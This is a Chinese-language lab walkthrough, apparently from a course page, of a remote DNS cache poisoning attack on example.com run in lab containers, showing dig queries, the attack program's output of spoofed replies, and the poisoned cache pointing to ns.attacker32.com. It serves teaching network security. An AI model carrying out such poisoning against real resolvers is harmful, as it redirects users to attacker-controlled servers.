DNS 攻击实验 - 远程攻击
Completion requirements
在攻击开始之前,我们先运行 dig 命令来获取 example.com 域的正确信息。
# dig NS example.com
;; 回答部分:
example.com. 86400 IN NS a.iana-servers.net.
example.com. 86400 IN NS b.iana-servers.net.
# dig www.example.com
;; 回答部分:
www.example.com. 86400 IN A 93.184.216.34
我们然后进入攻击者容器,开始发动攻击。运行的 attack 程序来自 C 代码,它在循环里每次生成一个随机主机名,并发送 100 个伪造的回复(用不同的交易 ID)。
# gen_dns_request.py
# gen_dns_response.py
# ./attack
attempt #1. request is [jmtll.example.com], transaction ID is: [0]
attempt #2. request is [svynt.example.com], transaction ID is: [100]
attempt #3. request is [xwefb.example.com], transaction ID is: [200]
attempt #4. request is [xfajc.example.com], transaction ID is: [300]
...
在攻击进行时,我们去本地 DNS 服务器,在缓存文件中不断搜索 attacker 一词,直到看到它为止,这表示攻击成功了。通常几分钟之内就能看到结果。一旦成功了,就应该停止攻击程序。
# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
ns.attacker32.com. 615600 \-AAAA ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. ...
example.com. 777594 NS ns.attacker32.com.
为了证实攻击确实成功了,我们可以在用户机器上运行 dig 命令,查询 www.example.com 的 IP 地址。从缓存中,本地 DNS 服务器知道 ns.attacker32.com 是 example.com 的域名服务器。如果我们查询 example.com 域的 NS 记录,我们将看到以下结果,表明这个域的域名服务器是攻击者的机器。
# dig NS example.com
;; ANSWER SECTION:
example.com. 172501 IN NS ns.attacker32.com.
;; ADDITIONAL SECTION:
ns.attacker32.com. 258907 IN A 10.9.0.153
攻击者需要正确设置域名服务器 ns.attacker32.com,以便能够回答对 www.example.com 的查询。也就是说,域名服务器需要为 example.com 域建一个虚假的区域。这已经在攻击者的域名服务器容器内部设置好了。从用户机器上,我们可以查询该域内的任何主机名,我们将会收到由攻击者发送出的回复。
# dig www.example.com
;; ANSWER SECTION:
www.example.com. 259200 IN A 1.2.3.5
Last modified: Friday, 9 May 2025, 9:27 AM